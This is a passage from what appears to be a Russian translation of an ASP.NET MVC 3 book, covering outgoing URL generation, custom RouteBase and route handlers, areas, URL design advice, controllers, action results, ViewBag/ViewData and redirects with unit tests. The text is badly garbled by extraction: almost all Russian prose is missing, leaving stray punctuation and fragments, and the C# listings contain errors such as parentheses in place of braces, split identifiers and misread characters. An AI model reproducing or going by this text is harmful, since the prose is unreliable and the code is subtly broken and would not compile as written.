new { id = "myAnchorlD", Sclass = "myCSSClass"})

11. URL,

315

ActionLink
. (https ),
(myserver.myciomain.com), URL (myFragmentName),
, .
HTML-:
< class="myCSSClass"
href="htt p s ://myserver.mydomain.com/Home/Index/MyId#myFragmentName"
id="myAnchorID">About this application</a>

URL, .
URL ,
. ,
, URL, -
,
.

URL ( )
Html .ActionLink HTML- <>,
. URL,
, - URL-,
HTML- , URL URL
HTML-.
, Url .Action
URL HTML-, 11.36.

11.36. URL HTML-


My URL is: @Url .Action ("Index", "Home", new { id = "Myld" })

Url .Action Html .ActionLink


, URL.
, Url .Action
, Html .ActionLink .
11.36 :
My URL is: /Home/Index/Myld

URL
, -
controller action, URL.
MVC Framework,
ASP.NET.
controller action
URL, /.
,
MVC, 11.37.

11.37.
@Html.RouteLink("Routed Link",
new { controller = "Home", action = "About", id="MyID"})

316

II. ASP.NET MVC 3

R o u t e L i n k c o n
troller action. . ,
11.37, HTML-
:
< href="/Home/About/MyID">Routed Link</a>

U r l . R o u t e U r l
URL, 11.38.

11.38.

URL

SUrl.RouteUrl(new { controller = "Home", action = "About", id = "MylD" })

,
controller action . ,
, .

URL
, URL ,
.
URL, ,
(. 11.39).
11.39. URL
public ViewResult MyActionMethod() (
string myActionUrl = Url.Action("Index", new { id = "MylD" });
string myRouteUrl = U r l .RouteUrl (new { controller = "Home", action = "Index" }) ;
. . . - URL ...
)

,
URL. , RedirectToAction,
11.40.
11.40.
public ActionResult MyActionMethod () (
return RedirectToAction("Index");
}

R e d i r e c t T o A c t i o n R e d i r e c t T o R o u t e R e s u l t ,
MVC Framework URL,
.
R edirectToAction,
URL.
URL,
, R e d i r e c t T o R o u t e (.
11.41).

11. URL,

317

11.41. URL,
public ActionResult MyOtherActionMethod() {
return RedirectToRoute(
new { controller = "Home", action = "Index", id = "MylD" });

}
R e d i r e c t T o R o u t e R e s u l t
, RedirectToAction.

URL
, . ,
:
routes.MapRoute("MyRoute", "(controller}/(action}") ;
routes.MapRoute("MyOtherRoute", "App/(action}", new { controller = "Home" });

,
MapRoute, MyRoute MyOtherRoute.
:
:

URL.
,
. ,
ActionLink:
SHtml.ActionLink("Click me", "About");

URL MyRoute.

H t m l .RouteLink, , :
SHtml.RouteLink("Click m e " , "MyOtherRoute", new ( action = "About" });

U r l .RouteUrl URL.
, .


URL :
,
MVC. URL
,
, URL.
,
.
( n u l l ).
, ,
.

318

II. ASP.NET MVC 3


, , ,
. .

R outeB ase

, Route URL,
- ,
, RouteBase. ,
URL,
URL.
RouteBase .
GetRouteData (HttpContextBase httpContext) . ,

URL.
RouteTable .Routes , -
null .
GetVirtualPath(RequestContext requestContext, RouteValueDictionary values).

, URL.
RouteTable .Routes
, - null .
RouteBase,
URL. , -
MVC Framework,
URL
. - URL.
,
RouteBase.
,
URL. LegacyController,
11.42.

11.42. L e g a c y C o n t r o lle r
using System.W e b .Mvc;
namespace URLsAndRoutes.Controllers (
public class LegacyController : Controller {
public ActionResult GetLegacyURL(string legacyURL)
return V i e w ((object)legacyURL);

)
}

GetLegacyURL
.
,
URL .

11. URL,

319

. 11.42 View.
View ,
, C# .
, object,
, .
, ,
, ,
.

, , GetLegacyURL. cshtml
11.43.

11.43. G etLegacyU R L
@model string
@{

ViewBag.Title = "GetLegacyURL";
Layout = null;
}
<h2>GetLegacyURL</h2>
The URL requested was: SModel

-, .
,
. ,
RouteBase .

URL
LegacyRoute,
I n f r astructure ( ,
- ). 11.44.

11.44. L e g a c y R o u te
using
using
using
using
using

System;
System.Linq;
System.Web;
System.Web.Mvc;
System.Web.Routing;

namespace URLsAndRoutes.Infrastructure {
public class LegacyRoute : RouteBase {
private str i n g [] urls;
public LegacyRoute(params string!] targetUrls)
urls = targetUrls;

}
public override RouteData GetRouteData(HttpContextBase httpContext)
RouteData result = null;
string requestedURL =
httpContext.Request.AppRelativeCurrentExecutionFilePath;

320

II. ASP.NET MVC 3


if (urls.Contains(requestedURL, StringComparer.OrdinallgnoreCase)) {
result = new RouteData(this, new MvcRouteHandler());
result.Values.Add("controller", "Legacy");
result.Values.Add("action", "GetLegacyURL");
result.Values.Add("legacyURL", requestedURL);

}
return result;

}
public override VirtualPathData GetVirtualPath(RequestContext requestContext,
RouteValueDictionary values) {
return null;

)
}
}

,
URL, .
.
GetRouteData, ,
URL.
, null,
, .
, RouteData,
controller action,
, .
Route D a t a ,
.
MvcRouteHandler, controller action:
result = new RouteData(this, new MvcRouteHandler()) ;

MVC , ..
/ MVC.
, "
, MvcRouteHandler.

URL, . URL

RouteValues. URL legacyURL.
, ,
,
.
,
R outeBase . 11.45.

11.45. R o u te B a se
public static void RegisterRoutes(RouteCollection routes)

routes.Add(new LegacyRoute(
~ /artides/Windows_3 .l_Overview.html" ,
"-/old/.N E T _ 1 .0_Class_Library"));
routes.MapRoute("MyRoute", "(controller}/{action}/(id}",
new { controller = "Home", action = "Index", id = UrlParameter.Optional });

11. URL,

321

URL,
. R o u t e C o l l e c t i o n ,
Add. URL,
,
. 11.8.

. 11.8. R o u t e B a s e

URL
U RL
G e t V i r t u a l P a t h . -, ,

, null.
V i r t u a l P a t h D a t a . G e t V i r t u a l P a t h
11.46.

11.46. G e t V i r t u a l P a t h
publ i c ove rr i de V i r t u a l P a t h D a t a G e t V i r t u a l P a t h ( R e q u e s t C o n t e x t requestContext,
R o u t e V a l u e D i c t i o n a r y values) (
V i r t u a l P a t h D a t a result = null;
if ( va l u e s .C o n t a i n s K e y (" l e g a c y U R L " ) &&
urls.Contains((string)values["legacyURL"], StringComparer.OrdinalIgnoreCase))

(
result = new Virtua lP a th Da ta ( th is ,
ne w Url He lp er ( re qu es t Co nt ex t )
.C o n t e n t ( ( s t r i n g ) v a l u e s [" l e g a c y U R L " ]).S ub s t r i n g (1));

}
re turn result;


,
R o u t e V a l u e D i c t i o n a r y . , :
@ H t m l . A c t i o n L i n k ("Click me", "GetLegacyURL", new { l eg a c y U R L =
"~ / a r t i c l e s / W i n d o w s _ 3 .l_Overview.html" })

, l e g a c y U R L ,
R o u t e V a l u e D i c t i o n a r y , .
URL,
l e g a c y U R L URL, .
c o n t r o l l e r action,
.
V i r t u a l P a t h D a t a ,
URL. C o n t e n t
11 . 4039

322

II. ASP.NET MVC 3

UrlHelper U R L URL,
. , URL
/,
URL.


MvcRouteHandler, ..
M V C Framework.
M VC, , . ,

IRouteHandler.

11.47. IR o u t e H a n d le r
using System.Web;
using System.Web.Routing;
namespace URLsAndRoutes.Infrastructure {
public class CustomRouteHandler : IRouteHandler {
public IHttpHandler GetHttpHandler(RequestContext requestContext)
return new CustomHttpHandler();
)

}
public class CustomHttpHandler : IHttpHandler (
public bool IsReusable {
get { return false; )
)
public void ProcessRequest(HttpContext context)
context.Response.Write("Hello");
)

}
}
I R o u t e H a n d l e r ,
IHttpHandler,
. , M VC,
. , ,
. .
Hello ( HTML-, , ).
,
11.48.

11.48.
public static void RegisterRoutes(RouteCollection routes)

routes.Add(new Route("SayHello", new CustomRouteHandler ())) ;


routes.MapRoute("MyRoute", "(controller}/ (action}/ (id}",
new ( controller = "Home", action = "Index", id = UrlParameter.Optional });

11. URL,

323

U R L / S a y H e l l o

. . 11.9.

. 11.9.

, .
.
MVC Framework ,
.


MVC Framework -
(area), ,
, , ..
,
, .
MVC ,
. ,
.
, .
;
URL . ,
MVC.
MVC WorkingWithAreas,
Internet Application.


MVC
Solution Explorer ( )
AddOArea (). Visual Studio
(. 11.10). A d m i n .
, .. -
. Add (),
.

. 11 .10. MVC

324

II. ASP.NET MVC 3

Add ,
. ,
Areas. , , Admin,
.
.
Areas/Admin - MVC.
Controllers, Models Views. , Views
Shared ( W e b .config,
, 15).
AdminArea R e g i s t r a t i o n .cs,
AdminAreaRegistration, 11.49.

11.49. A d m in A r e a R e g is tr a t io n
using System.Web.Mvc;
namespace WorkingWithAreas.Areas.Admin {
public class AdminAreaRegistration : AreaRegistration {
public override string AreaName {
get {
return "Admin";

}
}
public override void RegisterArea(AreaRegistrationContext context)
context.MapRoute(
"Admin_default",
"Admin/(controller}/(action}/ {id)",
new { action = "Index", id = UrlParameter.Optional )

);
)
}

R e g is t e r A r e a .
, URL A d m in / (c o n t r o lle r )/
{ a c t i o n } / { i d } . ,
.
! ,

, , .
,
. Applicat i o n _ S t a r t
G l o b a l .asax, 11.50.

11.50. G lo b a l.a s a x
protected void Application S t a r t () {
AreaRegistration.RegisterAllAreas();
RegisterGlobalFilters(GlobalFilters.Filters) ;
RegisterRoutes(RouteTable.Routes);
)

11. URL,

325

A r e a R e g i s t r a t i o n . R e g i s t e r A l l A r e a s
, MVC Framework ,
, A r e a R e g i s t r a t i o n ,
RegisterArea.

, ,
A p p l i c a t i o n _ S t a r t . R e g i s t e r R o u t e s
A r e a R e g i s t r a t i o n . R e g i s t e r A l l A r e a s ,
. , , ,
, ,
.

A r e a R e g i s t r a t i o n C o n t e x t , R e g i s t e r A r e a
, M a p R o u t e .
,
R e g i s t e r R o u t e s G l o b a l . a s a x .
M a p R o u t e A r e a R e g i s t r a t i o n C o n t e x t
,
. ,
;
.


, ,
.
C o n t r o l l e r s
Add1
^Controller (^
). Add Controller ( ),
(. 11.11).

. 11 .11.

326

. ASP.NET MVC 3

Add () ,
11.51. H o m e C o n t r o l l e r ,
.

11.51. , MVC
u s i n g System .W eb.Mvc;
namespace W o r k i n g W i t h A r e a s . A r e a s . A d m i n . C o n t r o l l e r s {
p u b l i c c l a s s H o m e C o n t r o l le r : C o n t r o l l e r {
p u b l i c A c t i o n R e s u l t I n d e x ()
retu rn V iew ();

}
}

}_____________________________________

_______ ___________________

,
I n d e x
AddoView (1
^ ).
( I n d e x ) . A r e a s / A d m i n / V i e w s / H o m e .
11.52.

11.52.
@{

V ie w B a g .T itle = "Index";

)
<h2>Admin A r e a Index</h2>

,
, MVC. ,
. ,
.
/ A d m i n / H o m e / In d e x ,
(. 11.12).

. 11 . 12 .


, .
URL , ,
. 11.13.
, , ,
, .
/ A d m in / H o m e / In d e x H o m e C o n t r o l l e r
W o r k i n g W i t h A r e a s . A r e a s . A d m in . C o n t r o l l e r s .

11. URL,

327

. 1 1 .1 3 .

, Re g i s t e r R o u t e s Global, asax,
. ,
Visual Studio, 11.53.
11.53. MVC
public static void RegisterRoutes(RouteCollection routes)
routes.IgnoreRoute("(resource).ax d / (*pathInfo)");

routes.MapRoute(
"Default",
//
"(controller)/(action}/(id}", // URL
new { controller = "Home", action = "Index", id = UrlParameter.Optional }

);
}

D e f a u l t URL
Index Home. ,
MVC Framework
HomeController.
G l o b a l .asax,
11.54.
11.54.
public static void RegisterRoutes(RouteCollection routes) {
routes.IgnoreRoute("{resource).axd/(*pathlnf }");
routes.MapRoute(
"Default",
//
"(controller)/(action)/(id}",
// URL
new ( controller = "Home", action = "Index", id = UrlParameter.Optional },
new[] {"WorkingWithAreas.Controllers"}

);
)

328

II. ASP.NET MVC 3

,
. ,
, .


, ,
, .
MVC Framework ,
, URL
, . ,
Adm in:
@ H t m l.A c t io n L in k ("C l ic k m e",

"A bout")

HTML-:
<a href="/Admin/Home/About">Click me</a>

,
area
, :
@Html.ActionLink (" C lic k me to go to another area", "Index", new { area = "Support" ))
area
. HTML-, ,
(, Support,
):
< h r e f = " / S u p p o r t / H o m e " > C l i c k me t o g o t o a n o t h e r a r e a < / a >

(
/ C o n tr o lle r s ), :
@Html . A c t i o n L i n k ( " C l i c k me t o g o t o a n o t h e r a r e a " ,

"In d ex ",

new

( area = " "

})

URL
:
URL? ,
Visual Studio,
.
URL ,
. ,
,
.

URL
URL .
, , -
URL Amazon.com. URL :
h t t p ://www.amazon.com/Pro-ASP-NET-MVC-3-Framework/dp/14 30234 04 0/
ref=sr_l_13?s=books&ie=UTF8&qid=1294771153&sr=l-13

11. URL,

329

URL,
. , ,
ISBN
Amazon.com. U R L :
h t t p ://www.amazon.com/books/pro-aspnet-mvc3-framework
U R L .

! , , Amazon
, , . ,
Amazon .
, -
Amazon URL. Amazon. Amazon.
, URL.
,
URL .

U R L ,
. /Articles/AnnualReport, /Website_v2/
CachedContentServer/FromCache/AnnualReport.


. /Articles/AnnualReport, /Articles/2392.
(
,
), ,
(/Articles/2392/AnnualReport). U R L ,

.
, .

H T M L - (, .aspx
.mvc), (
.jpg, .pdf .zip). -
, M IM E , , PDF
. pdf.

(, /Products/Menswear/Shirts/Red),
, U R L .

.
ASP.NET .

, .
( /my-great-article).
, U R L -
(/my+great+article),
(/my%20great%20article).

URL. -.
U R L U R L
(301) .

. URL .

330

II. ASP.NET MVC 3

U R L , ,
, . ,
, h t t p :/ /ww w .u s e i t .com/
alertbox/990321 .html. -. ,
(. http://www.w3.org/Provider/Style/URI).

GET POST:
, GET
, , POST
, .
GET (
, ), POST
( -).
W 3 C (World Wide Web Consortium) :
h t t p :// w w w .w 3 .org/Provider/Style/URI
^ URL,
.
GET , .
- 20 0 5 .,
Google Web Accelerator. ,
, GET,
HTTP. , , - HTTP
" ". .
,
, .. .
, U R L
.
, -.

. ,
URL,
.
, URL.
,
M VC. ,
.

1 2


, , .
,
, .
, -
, .
ASP.NET MVG Framework .NETT,
, . 4 ,
. ,
,
.
, ,

. MVC Framework HTML , .
,
, ,
.


.
, .
.


MVC 3
Empty () C o n tro lle rs A n d A c tio n s . Empty
, ,
.

i C o n t r o l l e r
MVC Framework IController
System.Web.Mvc, 12.1.

12.1. S y s te m .W e b .M v c .IC o n tr o lle r


public interface IController {
void Execute(RequestContext requestContext);
}

332

II. ASP.NET 3

. E x e c u t e () ,
. M V C Framework ,
, controller,
.
IController,
,
, , , - .
12.2 BasicC o n t r o l l e r ,
.

12.2. B a s i c C o n t r o l l e r
u s i n g S y s t e m . W e b .Mvc;
u s i n g S y s t e m . W e b .Routing;
n a m e s p a c e C o n t r o l l e r s A n d A c t i o n s .C o n t r o l l e r s {
p u b l i c class B a s i c C o n t r o l l e r : I C o n t r o l l e r {
p u b l i c v o i d E x e c u t e ( R e q u e s t C o n t e x t reques t C o n t e x t )

string c o n t r o l l e r *= ( s t r i n g ) r e q u e s t C o n t e x t .R o u t e D a t a . V a l u e s [" c o n t r o l l e r " ] ;


s t r i n g a c t i o n = ( s t r i n g ) r e q u e s t C o n t e x t .R o u t e D a t a . V a l u e s [" a c t i o n " ];
r e q u e s t C o n t e x t .H t t p C o n t e x t .R e s p o n s e . W r i t e (
s t r i n g .F o r m a t (" C o n t r o l l e r : (0), A c tion: (1)", contro l l e r , action));
)
)
)

C o n t r o l l e r s A d d ^N ew Class
(^ ). B a s i c C o n t r o l l e r
, 12.2.
E x e c u t e () c o n t r o l l e r a c t i o n
RouteData, , .
/Basic/Index,
, . 12.1.

. 12.1.

, B a s i c C o n t r o l l e r
I C o n t r o l l e r , M V C
Framework ,
.
M V C Framework , , ,
.

C o n t r o lle r

M V C Framework
. -

12.

333

, IController.
? ?
,
.
, M V C Framework,
System.Web.Mvc.Controller.
System.Web.Mvc.Controller ,
M V C . ,
.
Controller .

. (
ExecuteO).
U R L ,
.

. ,
(,
U R L ),
.
.

. (
, , 9) ,
[Attribute]
.

,
Controller, ,
, Visual Studio,
Add1^ Controller (^). 12.3
, .
DerivedController.

12.3. , System .W eb.M vc.Controller


using System.Web.Mvc;
namespace ControllersAndActions.Controllers {
public class DerivedController : Controller (
public ActionResult Ind e x () {
ViewBag.Message = "Hello from the DerivedController Index method";
return V i e w ("MyView");
)

}
}
Controller Ex e c u t e O
, action .
Controller .
12.3 View(),
. 12.4
, MyView.cshtml
Views/Derived .

334

II. ASP.NET MVC 3

1 2 .4 . M y V i e w . c s h t m l
0{
V i e w B a g . T i t l e = "MyView";

}
<h2>MyView</h2>
Message: @ V i e w B a g . M e s s a g e

/ D e r i v ed/Index ,
, , M y V i e w ,
. 12.2.

. 12.2. , D e r i v e d C o n t r o l l e r
Controller,
,
.
, .


,
, , URL
. :
:
;
.

,
. 17.



.
Controller,
, . Request, Response,
RouteData, H t t p C o n t e x t Server.
. ,
C o n t r o l l e r C o n t e x t (
Controller.ControllerContext).
. 12.1.

12.

335

12.1.

Request.QueryString

NameValueCollection

GET,

Request.Form

NameValueCollection

POST,

Request.Cookies

HttpCookieCollection

-,

Request.HttpMethod

string

HTTP (,
GET POST),

Request.Headers

NameValueCollection

HTTP,

Request.Url

Uri

URL

Request.UserHostAddress

string

IP- ,

RouteData.Route

RouteBase

RouteTable.Routes,

RouteData.Values

RouteValueDictionary


( URL,
)

HttpContext.Application

HttpApplicationStateBase

HttpContext.Cache

Cache

HttpContext.Items

IDictionary

HttpContext.Session

HttpSessionStateBase

User

IPrincipal

TempData

TempDataDictionary


(. 12.5).

12.5. ,
____________________
public ActionResult RenameProduct() {
//
string userName = U s e r .Identity.N a m e ;
string serverName = Ser v e r .MachineName;
string clientIP = Request.UserHostAddress;
DateTime dateStamp = HttpContext.Timestamp;
AuditRequest(userName, serverName, clientIP, dateStamp, "Renaming product") ;
// Request.Form
string oldProductName = Request.Form["01dName"];
string newProductName = Request.F o r m ["NewName"];
bool result = AttemptProductRename(oldProductName, newProductName);
ViewData["RenameResult"] = result;
return V i e w ("ProductRenamed");
)

336

II. ASP.NET 3


IntelliSense ( this,
) Microsoft Developer Network (
System.Web.Mvc.Controller System.Web.
Mvc. ControllerContext).


,
. ,
,
. , , ,
:
public ActionResult ShowWeatherB'orecast () {
string city = RouteData.Values["city"];
DateTime forDate = DateTime.Parse(Reguest.F o r m ["forDate"]);
// ... . . .

}
, :
public ActionResult ShowWeatherForecast (string city, DateTime forDate){
// ... . . .
)

,

.
,
out ref. .
, ASP.NET MVC .
MVC Framework ,
, Request.QueryString, Request.Form
RouteData.Values.
, city
Request. Form ["City"].


Controller
MVC Framework,
.
,
. ,
Request.Form, Request.QueryString, Request.Files
RouteData.Values. ,
, .

.NET, , .
9,
Product,
, HTML-.

17.

12.

337


MVC Framework
( string object), - ,
null.
( int double),
. -.
.
, (
), , null
( int? DateTime?); MVC Framework
null, .
.
( , null),
,
null. , null,
ArgumentNullException.

! .
,
, 18.


,
, null
,
#. 12.6 .
12.6. C#
public ActionResult Search(string query= "all", int page = 1) (

II ...

,
. 12.6
query . MVC Framework
, , ,
, .
query string ,
null . query
, a l l .
int, ,
.
, 1.
,
, new,
string, int double.

338

II. ASP.NET MVC 3

,
(,
int), ,
(.. int),
ModelState.
ModelState,
, ,
, .
8 18 ModelState,
, .


, ,
. ,
IController,
, . ,
HTML- HTML-,
Response.Write.
, URL,
Response.Redirect URL.
, 12.7.

12.7. I C o n t r o l l e r
using System.Web.Mvc;
using System.W e b .Routing;
namespace ControllersAndActions.Controllers (
public class BasicController : IController {
public void Execute(RequestContext requestContext)

string controller = (string)requestContext.RouteData.Values("controller"] ;


string action = (string)requestContext.RouteData.V a l u e s ["action"];
requestContext.HttpContext.Response.W r i t e (
string.Format("Controller: (0), Action: (1)", controller, action));
II ... . . .
requestContext.HttpContext.Response.Redirect("/Some/Other/Url");
)
)

)
'
Controller. HttpResponseBase,
requestContext.HttpContext.Response ExecuteO,
Controller.Response, 12.8.

12.8. R esponse
using System.Web.Mvc;
namespace ControllersAndActions.Controllers (

12.

339

p u b lic c l a s s D e riv e d C o n tro lle r : C o n tr o lle r {


p u b l i c v o i d I n d e x () {
s t r i n g c o n t r o l l e r = (s t r in g )R o u t e D a t a .V a lu e s [" c o n t r o l l e r " ] ;
s t r in g a c tio n = (strin g )R o u te D a ta .V a lu e s[ " a c tio n " J ;
Response. W r i t e (
s t r i n g . Fo rm a t(" C o n t r o l l e r : ( 0) , A c tio n :
/ / . . . . . .
Response. R e d ire ct("/S o m e /O th e r/U rl") ;

(1}",

c o n tro lle r,

a ctio n ));

}
}

}
, .
HTML URL,
.
, ,
. R e s p o n s e
, ,
, . , ,
HTML- ,
.
, .
,
, ,
.
, MVC Framework ,
.

.


MVC Framework
. .
R e s p o n se , ,
A c t i o n R e s u l t , ,
,
URL .

Command
(). , ,

http://ru.wikipedia.org/wiki/Koaa_(ao_poepoa).
MVC Framework A c t i o n R e s u l t
, E x e c u t e R e s u l t , .
R e s p o n s e , ,
. R e d i r e c t R e s u l t
12.9. MVC Framework ,
, . ,
.

340

II. ASP.NET MVC 3

1 2 .9 . S y s t e m . W e b . M v c . R e d i r e c t R e s u l t
public class RedirectResult : ActionResult (
public RedirectResult (string u r l ) : this(url, permanent: false)
)
public RedirectResult(string url, bool permanent)
Permanent = permanent;
Url = url;

<

public bool Permanent {


get;
private set;
)
public string Url (
get;
private set;

}
public override void ExecuteResult(ControllerContext context) (
string destinationUrl= UrlHelper.GenerateContentUrl(Url, context.HttpContext);
if (Permanent) (
context.HttpContext.Response.RedirectPermanent(destinationUrl,
endResponse: false);

)
else (
context.HttpContext.Response.Redirect(destinationUrl, endResponse: false);

R edirectResult URL,
, ,
: . ExecuteResult,
MVC Framework ,
Response ControllerContext.
, RedirectPermanent, Redirect (
, 12.8).


MVC Framework ,
, .
.
-.
( HttpRequestBase),
.
HTML-
. ,
ActionResult.
. MVC Framework
, .

.

12.

341

,
.
, .
, .
.
R e d i r e c t R e s u l t
. 12.10
DerivedController ,
RedirectResult .

12.10. R e d ir e c t R e s u lt
using System.Web.Mvc;
namespace ControllersAndActions.Controllers {
public class DerivedController : Controller {
public void I n d e x () {
string controller = (string)RouteData.Values["controller"];
string action = (string)RouteData.Values["action"];
Response.Write(
string.For m a t ("Controller: (0), Action: {1}", controller, action));

)
public ActionResult Redirect() {
return new RedirectResult("/Derived/Index");

/Derived/Redirect
/Derived/Index. Controller
, ActionResult. ,
, , 12.10,
Redirect, 12.11.

12.11.

public ActionResult Redirect () {
return Redirect("/Derived/Index");

)
,
, . ,
.
, , ,
RedirectResult, Url .
M V C Framework
, . 12.2. ActionResult,
Controller.

342

II. ASP.NET MVC 3

12.2. A c t io n R e s u lt

V ie w R esu lt

V ie w

P a rtialV ie w R e su lt

P a rtialV ie w

R e d ire c t T o R o u t e R e su lt

HTTP
301 302

, URL

R e d ire ctR esu lt

C on tentR esu lt

HTTP 301
302 URL
*

Controller

R e d ire ctT o A c tio n


R e d ire ctT o A c tio n P e rm an e n t
R e d ire ctT o R o u te
R e d ire ct T o R o u t e P e rm a n e n t

R e d ire ct
R e d ire ctP erm a n e n t


,

( c o n t e n t - t y p e )

Content

F ileR esu lt

(

)

F ile

Jso n R esu lt

.NET
JSON

Json

Jav aScriptR esu lt


JavaScript,
(

AJAX,
19)

Jav aScrip t

H ttp U n auth orized R esu lt


HTTP 401 ( "
),

(

Windows)

Http N o tFo u nd R esu lt

HTTP 404
Not found" (" ")

HttpNotFound

H ttp StatusC o deR esult

HTTP

E m p tyR esult

, ,
.

12.

343

HTML-
HTML . ,
ViewResult,
HTML-,
12.12.
12 .1 2 . V ie w R e s u lt
using System.Web.Mvc;
namespace ControllersAndActions.Controllers {
public class ExampleController : Controller {
public ViewResult I n d e x () {
return V i e w ("Homepage");

1
}
}
View
ViewResult,
.
! , ViewResult.
,
ActionResult. MVC
ActionResult, ,
. ,
, -
.
, , .

, ,
View. Homepage.
! ViewResult ( return new
ViewResult { ViewName = "Homepage" };). ,
,
Controller.

MVC Framework ExecuteResult ViewResult,


.
, :
//<0>/1/<>/<>.
//<0>/1/<>/<>.

/Areas/<Oac^>/Views/Shared/<.pecae>.aspx

/Areas/<Oac>/Views/Shared/<pecae>.ascx
/Areas/<Oac>/Views/<^fopoepa>/<pecae>.cshtml
. /Areas/<Oaca 1
>/Views/<^Copoepa>/<pecae>.vbhtml

/Areas/<.Oac>/Views/Shared/<.pecae>.cshtml
/Areas/<.^^Oac>/Views/Shared/<.^^pecae^'f>.vbhtml

344

II. ASP.NET MVC 3

, ,
A S P X ( .aspx
.ascx), , Razor.
Razor C# Visual Basic .NET ( .cshtml C#
.vbhtml Visual Basic; Razor ,
). M V C Framework ,
, . ,
,
.
, ,
,
;
/Views /<>/<>. aspx

/1^/<>/<>. ascx

/^/5&6./<>. aspx
/Views/Shared/<pe^^cae>. ascx

/\/<1>/<>. cshtml

/1^/<>/<>. vbhtml

/View /5/<>. cshtml

/Views/Shared/<^^pecae>.vbhtml
-, M V C Framework , ,
.
12.12 , ,
, /Views/Example/Index.aspx.
, Controller , ViewResult
ExampleController Example.

:
, ,
ViewResult. ,
HTML-,
, , ..
MVC Framework.
,
, :
public ViewResult Ind e x () {
return View("Homepage");
)

, ,
ViewName ViewResult, :
[TestMethod]
public void ViewSelectionTest() (
//
ExampleController target = new ExampleController ();
//
ActionResult result = target.Ind e x ();

12.

345

//
Assert.AreEqual("Homepage", result.ViewName);

}
,
:
public ViewResult Index () {
return V i e w ();

}
(" " ):
Assert.AreEqual ("", result.ViewName);

, MVC Framework ,
.
.
, .

. .
15 , .

,
View, 12.13.

12.13. V ie w R e s u lt
using

Sy ste m .W e b .M v c;

namespace C o n t r o l l e r s A n d A c t i o n s . C o n t r o l l e r s

public class ExampleController : Controller {


public ViewResult I n d e x () {
return View () ;
)
)
)

MVC Framework ,
, , . ,
View() 12.13 Index.
! , , ,

, ,
R o u te D a ta .V a lu e s [ " a c t i o n " ] , 12.7
11.

View().
ViewResult. , ,
, ,
:
public ViewResult Ind e x () {
return View("Index", "_AlternateLayoutPage");

346

II. ASP.NET MVC 3


, ,
. ,
. :
using System.Web.Mvc;
namespace ControllersAndActions.Controllers {
public class ExampleController : Controller {
public ViewResult Index() {
return View("-/Views/Other/Index.cshtml");
}
}
)

/ ~/
( .cshtml Razor, #).
, :
? ,
, ,
(
). ,
, 15, ,
.


.
MVC Framework ,
. ,
15.
,
.


,
View(), 12.14.
12.14.
public ViewResult Index () {
DateTime date = DateTime.Now;
return View(date) ;

}
DateTime .
Model R a zo r (.
12.15).
12.15. Razor
@(
ViewBag.Title = "Index";
}
<h2>Index</h2>
The day is: @ (((DateTime)Model).DayOfWeek)

12.

347

, 12.15,
.
, object.
DayOfWeek, DateTime. ,
. ,
,
, 12.16.

12.16.
Smodel DateTime

0<
ViewBag.Title = "Index";
<h2>Index</h2>
The day is: 0Model.DayOfWeek
model
Razor. m
.
, Visual Studio
IntelllSense, . 12.3.

. 12.3. IntelliSense
:
,
, ViewResult .ViewData. Model.
:
public ViewResult Ind e x () {
return V i e w ((object)"Hello, World");

}
.
object, ,
View(), .
ViewData.Model,
:
[TestMethod]
public void ViewSelectionTest() {
//
ExampleController target = new ExampleController ();
// -
ActionResult result = target.Ind e x ();
// -
Assert.AreEqual("Hello, World", result.ViewData.M o d e l ) ;

348

II. ASP.NET MVC 3

ViewBag
ViewBag 3.
.
Controller.ViewBag (. 12.17).

12.17. View B ag
public ViewResult Index () {
ViewBag.Message = "Hello";
ViewBag.Date = DateTime.Now;
return V i e w ();

)
Message Date
. ,
.
, (.
12.18).

12.18. View B ag
0(
ViewBag.Title = "Index";
}
<h2>Index</h2>
The da y

is :

@ V ie w B a g . D a t e . D ayO fW eek

<p />
The message is: gviewBag.Message

ViewBag
.
,
string DateTime, ,
12.17 12.18.

, :
The day is: SViewBag.D a t e .DayOfWeek.B l a h .B l a h .Blah
Visual Studio IntelliSense
, ViewBag,
.

. ViewBag,
. ,
, ViewBag. ,
.

12.

349

: V ie w B a g
ViewBag ViewResult.ViewBag.
12.17:
[TestMethod]
public void ViewSelectionTest () {
//
ExampleController target = new ExampleController ();
// -
ActionResult result = target.Index ();
// -

A s s e r t .A r e E q u a l(" H e llo " , resu lt.V iew B a g.M essa ge) ;


}

ViewData

ViewBag MVC 3.
(view data).
ViewData ViewBag, ViewDataDictionary,
. ViewDataDictionary
/ ViewData Controller,
12.19.

12.19. V ie w D a ta
public ViewResult Ind e x () {
V i e w D a t a [" M e s s a g e " ] = " H e l l o " ;

ViewData["Date"] = DateTime.N o w ;
return V i e w ();
)

/
(. 12.20).
12,20. V ie w D a ta
@(

ViewBag.Title = "Index";
)
<h2>Index</h2>
The day is: @ (((DateTime)ViewData["Date"]) .DayOfWeek)
<p />
The message is: ViewData["Message"]

,
, .
! ViewBag ViewData ,

-
, .

350

II. ASP.NET 3

: V ie w D a ta
, ViewData,
ViewResult .ViewData.
12.19:
[TestMethod]
public void ViewSelectionTest() {
//
ExampleController target = new ExampleController();
// -
ActionResult result = target.Ind e x ();
// -
Asse r t .AreEqual("Hello", result.ViewData["Message"]);


-
, URL.
URL ,
, .

Post/Redirect/Get
, POST. , POST ,
. H TM L , ,
.
P o s t/
R e d ire c t/G e t. POST,
GET URL. GET
,
.

HTTP.
HTTP 302. .
, MVC 3
, MVC
Framework. Post/Redirect/Get
.
HTTP 301, .
, ..
URL, URL,
.
, .. 302.

12.

351

URL

Redirect , RedirectResult,
12.21.

12.21. URL
public RedirectResult Redi r e c t () {
return Redi r e c t ("/Example/Index");

)
URL, ,
RedirectO. RedirectO
.
RedirectPermanentO, 12.22.

12.22. URL
public RedirectResult Redirect)) {
return tfedirectPermanent("/Example/Index");

. RedirectO,
bool, , .

: URL
URL . Url Permanent
RedirectResult URL (
). 12.21.
[TestMethod]
public void RedirectTest () {
//
ExampleController target = new ExampleController () ;
// -
RedirectResult result = target.Redirect();
// -
Assert. IsFalse(result.Permanent);
Asse r t .A r e E q u a l ("/Example/Index", result.Url);
}

URL
U RL
URL,
. U R L

URL.

U R L RedirectToRoute (),
RedirectToRouteResult, 12.23.

352

II. ASP.NET MVC 3

1 2 .2 3 . URL
public RedirectToRouteResult R edirectO
return RedirectToRoute(new {
controller = "Example",
action = "Index",
ID = "MylD"

}> ;
RedirectToRoute () .
RedirectToRoutePermanent().
,
U R L .
U R I 11.

: URL
12.23:
[TestMethod]
public void RedirectValueTest () {
//
ExampleController target = new ExampleController ();
// -
RedirectToRouteResult result = target.Redirect ;
// -

Assert.IsFalse(result.Permanent);
